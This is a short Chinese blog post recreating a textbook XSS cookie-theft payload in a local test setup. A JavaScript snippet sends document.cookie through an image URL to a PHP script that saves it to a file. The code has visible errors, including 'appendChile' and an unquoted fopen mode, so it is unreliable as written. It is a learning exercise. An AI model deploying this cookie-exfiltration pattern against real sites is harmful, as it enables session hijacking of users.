BlankのBlog

Xss窃取cookie

字数:53 Topic:misc Tag:2018-03

通过xss窃取cookie 在白帽子讲web安全上看到的第一个xsspayload 尽管到现在可能是然并卵 还是觉得自己动手尝试一下比较好

使用wamp搭建环境

主页代码

<html>
<head><meta charset="utf-8"></head>
<body>
	<script src = test.js></script>
</body>
</html>

test.js代码

var img = document.createElement("img");
img.src = "http://127.0.0.1/test.php?id=" + escape(document.cookie);
document.body.appendChile(img)

test.php代码

<?php
	$id = $_GET['id'];
	if (isset($id)){
		$fp = fopen('1.txt',w);
		fwrite($fp, $id);
		fclose($fp);
	}
	else{
		echo 'failed';
	}
?>

然后访问主页代码就可以在1.txt中得到cookie

这里只是自己动手验证一下 方便与理解与记忆 当然在实际应用中这样肯定是不行的,用户又不傻 = =


在xxxx教育平台找到一个储存型XSS交到了补天,但是没给通过。。

千帆过尽,勿忘初心 UP